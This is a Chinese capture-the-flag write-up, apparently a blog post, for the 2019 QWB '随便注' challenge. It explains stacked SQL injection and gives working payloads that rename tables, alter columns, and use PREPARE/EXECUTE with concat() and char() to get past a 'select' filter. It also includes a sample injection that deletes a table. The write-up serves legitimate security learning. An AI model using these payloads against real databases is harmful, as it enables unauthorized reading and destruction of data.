(二)强网杯2019[随便注]

本文详细介绍了SQL注入中的堆叠注入与预处理语句利用方法。堆叠注入允许攻击者执行多条SQL语句,通过分号分隔,实现对数据库的更广泛操作,例如查询与删除数据。而预处理语句利用可以通过变量与函数拼接SQL,绕过过滤限制。文中给出了具体示例,包括重命名表、修改列名及利用预处理语句构造payload来获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  1. 堆叠注入学习(堆叠查询,Stacked Queries)

堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。

堆叠注入原理

在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

举个堆叠注入攻击的例子

执行查询时,第一个语句执行信息查询,第二个语句则将表user的所有内容给删除了。

mysql> select * from users where id =1;delete from users;

堆叠注入的局限性

堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

img

2. 方法一:重命名+堆叠注入

1. 发现可以利用 or 把表中所有数据都查询出来,但是并没有我们需要的flag

img

img

2.先看一下库名,发现很多函数都被过滤了。由于select被过滤了,union查询也就用不上了。**

img

3.尝试一下堆叠注入,果然可以,把全部库名都给查出来了

img

  1. OK继续查表名

img

  1. 查看表结构 ,可以发现flag在1919810931114514表里**

0';desc `1919810931114514`;#

  

img

注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

eg. mysql> SELECT * FROM table WHERE id = '123' ;

1919810931114514必须用反单引号括起来(但是words不需要,应该是和数据类型有关)

6. 再查看words表的结构,发现一共有id和data两列。

0';desc words;#

img

那么可以猜测我们提交查询的窗口就是在这个表里查询数据的

7. 那么查询语句很有可能是 : selsect id,data from words where id =

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦

payload:

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

img

  1. 再用一下一开始的操作id=1' or 1=1#**

img

0x03 方法二:预处理语句+堆叠注入

预处理语句使用方式:

img

PREPARE x from '[my sql sequece]';  //预定义SQL语句
EXECUTE x; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE x; //删除预定义SQL语句

 预定义语句也可以通过变量进行传递: 

SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE x from @sql; //预定义SQL语句
EXECUTE x; //执行预定义SQL语句
(DEALLOCATE || DROP) x; //删除预定义SQL语句

本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)<----->'select'

payload1:不使用变量

1';PREPARE x from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE x;#

payload2:使用变量

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE x from @sqli;EXECUTE x;#

payload3:只是用contact(),不使用char()

1';PREPARE x from concat('s','elect', ' * from `1919810931114514` ');EXECUTE x;#

直接输入这三个payload的任何一个都能获得flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值